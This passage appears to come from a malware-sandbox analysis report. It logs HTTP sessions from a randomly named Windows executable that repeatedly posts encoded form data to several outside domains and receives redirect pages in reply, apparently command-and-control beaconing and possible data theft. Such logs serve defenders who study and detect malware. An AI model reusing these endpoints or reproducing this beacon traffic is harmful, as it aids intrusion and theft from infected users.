Sep 11, 2024 11:18:40.343519926 CEST	1236	OUT	Data Raw: 6f 48 6b 66 70 4a 48 32 54 38 42 61 31 34 6a 58 31 37 4c 48 71 38 50 75 36 4b 33 44 47 30 72 4c 75 78 66 65 34 67 6b 4e 64 56 37 73 2b 6f 36 48 70 4f 74 38 44 6c 2f 50 63 4f 4a 66 45 30 77 73 63 4e 6f 4a 66 4c 64 6e 6f 4c 4a 79 78 30 49 41 51 2b Data Ascii: oHkfpJH2T8Ba14jX17LHq8Pu6K3DG0rLuxfe4gkNdV7s+o6HpOt8Dl/PcOJfE0wscNoJfLdnoLJyx0IAQ+7p2GxiyI9fHMItpo/Jl1rGKwkf4uMpf5liim355O2p+HxxGoeSTCPI5YDH3ppsFfWW8ERznodaswKKTQy7p1nZFrkWLhjkTxZgKdCr+qvZXGgR9qQTKY6Bu8KqAnjMLXjUUjlZ7eq8n56W5Djjc67W9JximqoUDSs
Sep 11, 2024 11:18:41.205226898 CEST	357	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 11 Sep 2024 09:18:41 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.63582.photo/5o7d/ Server: 8080 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	63336	147.92.40.175	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:18:42.857403994 CEST	498	OUT	GET /5o7d/?pP_8=zMeRclQqEZ6cHEksxL2258xeQPEFk6LXLXq5VQFXrGMOKBUumeR2nXgC5pr3HgG3QDdipY9Tb1BbXYBiFpGduAov/pmUDz/4soHslE7c+cNQZpL9+8t0WKA=&V0Qh=4pBta8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.63582.photo Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 11, 2024 11:18:43.805891991 CEST	495	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 11 Sep 2024 09:18:43 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.63582.photo/5o7d/?pP_8=zMeRclQqEZ6cHEksxL2258xeQPEFk6LXLXq5VQFXrGMOKBUumeR2nXgC5pr3HgG3QDdipY9Tb1BbXYBiFpGduAov/pmUDz/4soHslE7c+cNQZpL9+8t0WKA=&V0Qh=4pBta8 Server: 8080 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	63337	3.33.130.190	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:18:48.849874020 CEST	784	OUT	POST /68ac/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.useanecdotenow.tech Origin: http://www.useanecdotenow.tech Content-Length: 201 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.useanecdotenow.tech/68ac/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 5a 66 34 78 51 4c 74 58 62 38 68 4b 6d 64 67 6d 7a 6e 54 4f 65 66 4f 43 35 5a 36 30 4a 33 62 56 46 6e 64 58 34 38 42 72 61 49 6c 6d 6d 35 71 33 6d 67 78 76 57 59 45 7a 38 6b 37 36 62 68 6d 75 46 50 31 69 4a 2b 45 79 66 44 72 45 35 64 31 34 52 2f 45 2f 2f 48 2f 39 57 5a 65 79 71 49 52 2f 62 55 51 69 46 6a 77 6e 45 38 6d 34 34 6a 69 69 61 71 76 53 2f 2f 73 4f 75 72 58 4c 73 34 30 72 34 6a 37 78 59 46 77 6e 37 79 36 62 52 35 57 64 50 57 41 2f 55 43 78 4f 34 45 6f 42 33 69 50 6e 6c 38 62 58 38 6b 55 59 68 6a 48 79 66 72 33 6c 52 73 69 72 65 6a 54 56 73 64 4c 61 4c 78 48 44 46 67 3d 3d Data Ascii: pP_8=Zf4xQLtXb8hKmdgmznTOefOC5Z60J3bVFndX48BraIlmm5q3mgxvWYEz8k76bhmuFP1iJ+EyfDrE5d14R/E//H/9WZeyqIR/bUQiFjwnE8m44jiiaqvS//sOurXLs40r4j7xYFwn7y6bR5WdPWA/UCxO4EoB3iPnl8bX8kUYhjHyfr3lRsirejTVsdLaLxHDFg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	63338	3.33.130.190	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:18:51.389895916 CEST	804	OUT	POST /68ac/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.useanecdotenow.tech Origin: http://www.useanecdotenow.tech Content-Length: 221 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.useanecdotenow.tech/68ac/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 5a 66 34 78 51 4c 74 58 62 38 68 4b 6e 35 63 6d 32 46 37 4f 57 66 4f 44 6c 70 36 30 41 58 62 4a 46 6d 68 58 34 39 45 6d 61 62 52 6d 6c 62 79 33 6e 68 78 76 62 34 45 7a 6b 30 37 37 59 52 6d 66 46 50 78 4d 4a 36 45 79 66 44 2f 45 35 5a 78 34 57 4d 73 38 38 33 2f 7a 62 35 65 30 33 59 52 2f 62 55 51 69 46 6a 6b 42 45 38 65 34 34 79 79 69 62 4f 37 64 68 76 73 42 2b 62 58 4c 39 49 30 76 34 6a 36 63 59 45 73 4e 37 78 4f 62 52 35 6d 64 50 46 59 34 61 79 77 46 31 6b 70 78 35 54 75 4e 76 73 6a 58 2b 6e 38 72 69 42 50 51 58 4e 6d 2f 41 64 44 38 4d 6a 33 6d 78 61 43 75 47 79 36 4b 65 6b 4e 41 73 54 45 52 58 52 63 39 4a 73 52 66 64 48 6f 4d 57 2f 4d 3d Data Ascii: pP_8=Zf4xQLtXb8hKn5cm2F7OWfODlp60AXbJFmhX49EmabRmlby3nhxvb4Ezk077YRmfFPxMJ6EyfD/E5Zx4WMs883/zb5e03YR/bUQiFjkBE8e44yyibO7dhvsB+bXL9I0v4j6cYEsN7xObR5mdPFY4aywF1kpx5TuNvsjX+n8riBPQXNm/AdD8Mj3mxaCuGy6KekNAsTERXRc9JsRfdHoMW/M=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	63339	3.33.130.190	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:18:53.935519934 CEST	10886	OUT	POST /68ac/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.useanecdotenow.tech Origin: http://www.useanecdotenow.tech Content-Length: 10301 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.useanecdotenow.tech/68ac/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 5a 66 34 78 51 4c 74 58 62 38 68 4b 6e 35 63 6d 32 46 37 4f 57 66 4f 44 6c 70 36 30 41 58 62 4a 46 6d 68 58 34 39 45 6d 61 61 70 6d 6c 75 75 33 6d 43 5a 76 61 34 45 7a 36 6b 37 6d 59 52 6d 34 46 50 4a 41 4a 36 42 4a 66 42 48 45 34 38 6c 34 54 39 73 38 6e 6e 2f 7a 48 4a 65 31 71 49 52 71 62 53 78 72 46 6a 30 42 45 38 65 34 34 78 36 69 62 61 76 64 6a 76 73 4f 75 72 58 35 73 34 30 48 34 67 4b 69 59 45 6f 33 36 43 57 62 51 5a 32 64 43 58 41 34 63 69 77 48 79 6b 70 70 35 54 69 57 76 73 2b 73 2b 6d 4a 6a 69 44 54 51 54 62 4c 6c 45 2f 4c 47 4f 79 50 33 71 6f 6d 4e 49 79 75 58 62 57 49 36 74 77 67 39 50 69 59 70 50 65 45 39 4f 30 6b 4a 41 37 75 54 51 6b 4d 4e 72 57 61 38 34 4e 5a 75 71 79 33 56 45 2f 63 30 52 74 66 37 4c 52 41 48 78 77 4b 47 76 4b 73 4f 62 31 45 32 57 52 4b 7a 69 5a 59 68 73 72 6b 7a 30 48 6e 66 51 7a 62 6d 39 44 41 79 2b 5a 64 63 6d 48 4a 67 4c 48 6f 57 67 39 4b 6e 74 79 32 45 69 52 79 35 7a 58 74 6c 79 41 52 36 37 31 43 37 52 67 50 70 6d 46 55 2b 78 4c 70 33 74 63 69 4a 71 [TRUNCATED] Data Ascii: pP_8=Zf4xQLtXb8hKn5cm2F7OWfODlp60AXbJFmhX49Emaapmluu3mCZva4Ez6k7mYRm4FPJAJ6BJfBHE48l4T9s8nn/zHJe1qIRqbSxrFj0BE8e44x6ibavdjvsOurX5s40H4gKiYEo36CWbQZ2dCXA4ciwHykpp5TiWvs+s+mJjiDTQTbLlE/LGOyP3qomNIyuXbWI6twg9PiYpPeE9O0kJA7uTQkMNrWa84NZuqy3VE/c0Rtf7LRAHxwKGvKsOb1E2WRKziZYhsrkz0HnfQzbm9DAy+ZdcmHJgLHoWg9Knty2EiRy5zXtlyAR671C7RgPpmFU+xLp3tciJqSjsGej2tH3uQcm/3KbVRYJD7tjKT0cJUtL2pms+5LtJCrc0OfA+MUHwv41/5XI032gp/MUv9VusW49e0THgUT9qpmOdEtbILnFappQ5emgU3lmLfbcsDP1MRXmj7Pabi9zqrsQbzFcT0uqiFqWmfI9DB1dPHnsjj30zJjbgmd4AeSyFeXg3SJk8gzeu5DGKL7jiZ3l9yKfEjcxV1eY1Tx3EINsv7+ZFc13UYqvwLxV18fYWXp4VfstToynSlI5b/GLQKr082URP6F2emANYnxvY5E+6hu0LIUWu3FWD/Uct4lYZKaqqZqF8dDccw4nWLiN0uYqwsM1tUN02xctTGgvS7/4a+ZgVybiz0ryIRxrTXMWDKsFAADcw5wHrJ97uhDYtWhwzUg387EJ2DAW2JXvSIc2sZfASgDz02jPTZFhh8h8VyaMZhbfxRwQ6/WncuvWPnx5ET5+s1PSiqztwJk9o8Jy0AtnfobLri9euIRFYWQyGrBqEvOZb5ptVTHp2dBFFSy39KjT3/re0SKx/1890VRS5knuyQMRYpv8fF3ht/3UFQA0QeTzOI6ZgQY804qGYN+aDGC1eDW8upWpL2E70Gmy/wanQduNIuc/lEEAAA/BJAWgWD0yYonLU3OCjHfQZWsoDJUDqjP+KCFAYdiXw3SjYIpQ9beF [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	63340	3.33.130.190	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:18:56.482244968 CEST	506	OUT	GET /68ac/?V0Qh=4pBta8&pP_8=UdQRT8UlMLNCwpgj6kWQKKLq7pbVYmfVdUpnkoxSG75WqbyVgEBEWfcixBuHZAqOTbF9B+kCTwT7w8BXHK8l9WrkSPCW1YJ7B21iYQxfbqK0tW+zUb3ShNU= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.useanecdotenow.tech Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 11, 2024 11:18:56.954099894 CEST	392	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 11 Sep 2024 09:18:56 GMT Content-Type: text/html Content-Length: 252 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 56 30 51 68 3d 34 70 42 74 61 38 26 70 50 5f 38 3d 55 64 51 52 54 38 55 6c 4d 4c 4e 43 77 70 67 6a 36 6b 57 51 4b 4b 4c 71 37 70 62 56 59 6d 66 56 64 55 70 6e 6b 6f 78 53 47 37 35 57 71 62 79 56 67 45 42 45 57 66 63 69 78 42 75 48 5a 41 71 4f 54 62 46 39 42 2b 6b 43 54 77 54 37 77 38 42 58 48 4b 38 6c 39 57 72 6b 53 50 43 57 31 59 4a 37 42 32 31 69 59 51 78 66 62 71 4b 30 74 57 2b 7a 55 62 33 53 68 4e 55 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?V0Qh=4pBta8&pP_8=UdQRT8UlMLNCwpgj6kWQKKLq7pbVYmfVdUpnkoxSG75WqbyVgEBEWfcixBuHZAqOTbF9B+kCTwT7w8BXHK8l9WrkSPCW1YJ7B21iYQxfbqK0tW+zUb3ShNU="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	63341	3.33.130.190	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:19:02.006359100 CEST	784	OUT	POST /kt2f/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.asiapartnars.online Origin: http://www.asiapartnars.online Content-Length: 201 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.asiapartnars.online/kt2f/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 36 6f 67 78 63 6c 52 71 43 74 78 53 33 42 6d 39 69 4d 2b 62 67 30 34 4a 63 4f 6f 76 6e 6a 54 44 50 35 6c 48 2b 66 77 48 55 52 68 67 38 55 4e 31 42 67 6e 6c 49 52 79 6e 66 4b 42 65 50 52 4b 49 38 32 62 4a 77 33 31 36 65 67 5a 67 7a 63 49 53 6f 65 51 44 5a 35 33 36 2b 35 66 30 51 73 68 32 4d 76 67 4f 75 41 30 4e 78 57 44 32 58 69 2f 59 70 79 49 30 34 32 71 54 31 37 2b 31 33 6a 4c 7a 33 31 49 46 53 4d 51 70 53 4b 51 37 6f 62 53 61 49 4a 42 56 36 67 48 52 2b 58 34 31 44 56 63 38 65 69 6d 63 70 4f 48 51 6f 55 57 6e 68 32 66 70 6a 69 57 50 41 4a 4b 77 6e 41 6f 34 55 63 32 6b 4f 67 3d 3d Data Ascii: pP_8=6ogxclRqCtxS3Bm9iM+bg04JcOovnjTDP5lH+fwHURhg8UN1BgnlIRynfKBePRKI82bJw316egZgzcISoeQDZ536+5f0Qsh2MvgOuA0NxWD2Xi/YpyI042qT17+13jLz31IFSMQpSKQ7obSaIJBV6gHR+X41DVc8eimcpOHQoUWnh2fpjiWPAJKwnAo4Uc2kOg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	63342	3.33.130.190	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:19:04.567523956 CEST	804	OUT	POST /kt2f/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.asiapartnars.online Origin: http://www.asiapartnars.online Content-Length: 221 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.asiapartnars.online/kt2f/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 36 6f 67 78 63 6c 52 71 43 74 78 53 6c 78 57 39 68 76 6d 62 78 6b 34 4b 53 75 6f 76 79 54 54 48 50 35 5a 48 2b 65 30 74 56 6a 31 67 2f 31 39 31 41 69 50 6c 45 78 79 6e 55 71 42 66 52 68 4b 58 38 32 6e 33 77 32 4a 36 65 67 4e 67 7a 65 51 53 6f 70 45 63 59 70 33 38 78 5a 65 79 65 4d 68 32 4d 76 67 4f 75 41 78 6f 78 56 7a 32 4c 43 50 59 72 51 67 37 32 57 71 51 32 37 2b 31 39 44 4c 33 33 31 4a 6f 53 4f 6b 58 53 50 4d 37 6f 66 57 61 5a 34 42 57 6a 51 48 58 36 58 35 69 4c 57 42 6d 57 79 6e 66 6f 4d 47 72 69 58 6d 65 6b 77 4f 7a 79 54 33 59 53 4a 75 44 36 48 68 4d 5a 66 4c 74 56 67 37 63 4d 71 2f 58 46 6b 62 4a 31 54 4b 76 39 75 6e 52 36 62 6f 3d Data Ascii: pP_8=6ogxclRqCtxSlxW9hvmbxk4KSuovyTTHP5ZH+e0tVj1g/191AiPlExynUqBfRhKX82n3w2J6egNgzeQSopEcYp38xZeyeMh2MvgOuAxoxVz2LCPYrQg72WqQ27+19DL331JoSOkXSPM7ofWaZ4BWjQHX6X5iLWBmWynfoMGriXmekwOzyT3YSJuD6HhMZfLtVg7cMq/XFkbJ1TKv9unR6bo=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	63343	3.33.130.190	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:19:07.115612030 CEST	10886	OUT	POST /kt2f/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.asiapartnars.online Origin: http://www.asiapartnars.online Content-Length: 10301 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.asiapartnars.online/kt2f/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 36 6f 67 78 63 6c 52 71 43 74 78 53 6c 78 57 39 68 76 6d 62 78 6b 34 4b 53 75 6f 76 79 54 54 48 50 35 5a 48 2b 65 30 74 56 6a 74 67 38 48 31 31 42 45 48 6c 46 78 79 6e 5a 4b 42 61 52 68 4c 4c 38 32 50 37 77 32 45 50 65 6b 39 67 79 2f 77 53 75 62 38 63 54 70 33 38 70 70 66 31 51 73 67 75 4d 72 46 4a 75 44 5a 6f 78 56 7a 32 4c 41 58 59 39 53 49 37 6d 6d 71 54 31 37 2f 36 33 6a 4c 50 33 30 74 57 53 4e 4a 69 54 37 41 37 70 2f 47 61 4b 71 35 57 38 67 48 56 39 58 35 71 4c 57 4d 34 57 79 72 31 6f 4e 6a 6a 69 51 57 65 6d 6c 76 62 67 43 61 4f 4f 49 53 61 6e 31 5a 59 55 4e 76 71 4f 33 7a 7a 63 59 4c 6c 51 48 4c 6c 76 68 37 56 6f 75 50 6d 70 65 62 38 54 2b 2b 50 70 66 41 36 5a 46 70 4e 6c 74 55 42 62 32 41 74 2f 65 4b 35 47 34 5a 37 61 37 42 42 6d 70 75 55 45 6a 72 45 65 67 30 6a 49 32 67 74 34 43 31 4d 49 74 5a 31 7a 39 57 7a 31 33 7a 65 34 6d 31 76 67 6a 34 78 63 6e 51 2b 74 53 30 6b 36 48 45 66 4c 31 58 7a 6f 42 49 4f 44 62 52 79 79 70 69 55 49 6f 41 30 6a 59 31 2b 49 38 5a 42 41 43 57 69 34 [TRUNCATED] Data Ascii: pP_8=6ogxclRqCtxSlxW9hvmbxk4KSuovyTTHP5ZH+e0tVjtg8H11BEHlFxynZKBaRhLL82P7w2EPek9gy/wSub8cTp38ppf1QsguMrFJuDZoxVz2LAXY9SI7mmqT17/63jLP30tWSNJiT7A7p/GaKq5W8gHV9X5qLWM4Wyr1oNjjiQWemlvbgCaOOISan1ZYUNvqO3zzcYLlQHLlvh7VouPmpeb8T++PpfA6ZFpNltUBb2At/eK5G4Z7a7BBmpuUEjrEeg0jI2gt4C1MItZ1z9Wz13ze4m1vgj4xcnQ+tS0k6HEfL1XzoBIODbRyypiUIoA0jY1+I8ZBACWi4m5dWujBkU9GF0P74Qfoe+u8G1w5Y8xEanV7/ljti438HEVIqky2Qy47NhI7Zy5jecn5obLXThuW3y8IseXIyoUP+Mjp8GcHgBRPsLI0ZTgfzuNDWe4Lor2p8LH0cb4EWlBTiX7wfHORArVGi2Q0y6OamLPxNPiK2ovBakbfZA3Bqy2/Pc33visfSDg7vYBUaRmLh63bTnv/e2x4A9Fa2hF1MCk5diFEaNCPkBegQ+zqUNGGLekny8GimGdHwAPQUgTcbjFddpvW48hUimPlbmXlhCI9sRmE2aS0dQfQKnqAqYmle4ALJsp4V3FhK1atgoc8+C0wBQoQuP9q0/38Z0RQTZnoPgcwakJL4AM/3P8ucBprV1mYo12U6zKlIYQh95Z3KwR1YbbQvjDxC2ofC6FJW+A3AsYTeLWKdgQ5ytOPs1EWS5pfKe67mffITAGF7kZeHFMpl3EJi7gXb/M2erkTCMeC9pQQKySCfD7hakmv4Cqq4RHeovaQgtERNJP2/5K8WFtPeDZT0iLm6yWaZ4eyOpE5fIwVRTo3J3TRh6h1kPBZTd+fq7F5uGc329SScRMt5Xs97I4HsmzoeN1QPUCxrv6dje0IqasnZMmPEU4g20Ex1J8BKGdAAW04EOGOILMYiAXk+56yCVjmEiNZ1mYku3wwKi4HXZc [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	63344	3.33.130.190	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:19:09.657597065 CEST	506	OUT	GET /kt2f/?pP_8=3qIRfQl/AKdo1myUuOHVh1YjbZAZzTLYZ4NmxJouZDst8nFYGFmfJjzqUfk6VEmL81v5o0lFZhte5+gDx+sfFJzn9v28G/J2fr9BwA1qwWv9b12erCAk53Y=&V0Qh=4pBta8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.asiapartnars.online Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 11, 2024 11:19:10.107368946 CEST	392	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 11 Sep 2024 09:19:10 GMT Content-Type: text/html Content-Length: 252 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 70 50 5f 38 3d 33 71 49 52 66 51 6c 2f 41 4b 64 6f 31 6d 79 55 75 4f 48 56 68 31 59 6a 62 5a 41 5a 7a 54 4c 59 5a 34 4e 6d 78 4a 6f 75 5a 44 73 74 38 6e 46 59 47 46 6d 66 4a 6a 7a 71 55 66 6b 36 56 45 6d 4c 38 31 76 35 6f 30 6c 46 5a 68 74 65 35 2b 67 44 78 2b 73 66 46 4a 7a 6e 39 76 32 38 47 2f 4a 32 66 72 39 42 77 41 31 71 77 57 76 39 62 31 32 65 72 43 41 6b 35 33 59 3d 26 56 30 51 68 3d 34 70 42 74 61 38 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?pP_8=3qIRfQl/AKdo1myUuOHVh1YjbZAZzTLYZ4NmxJouZDst8nFYGFmfJjzqUfk6VEmL81v5o0lFZhte5+gDx+sfFJzn9v28G/J2fr9BwA1qwWv9b12erCAk53Y=&V0Qh=4pBta8"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	63345	3.33.130.190	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:19:15.172907114 CEST	769	OUT	POST /al6z/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.linkwave.cloud Origin: http://www.linkwave.cloud Content-Length: 201 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.linkwave.cloud/al6z/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 59 54 71 74 69 44 6f 6f 77 42 63 70 4d 33 56 70 65 76 4d 74 50 77 44 53 55 74 71 36 66 74 79 52 55 35 5a 54 33 78 31 50 44 4f 54 67 59 6a 62 59 65 2b 57 66 41 7a 58 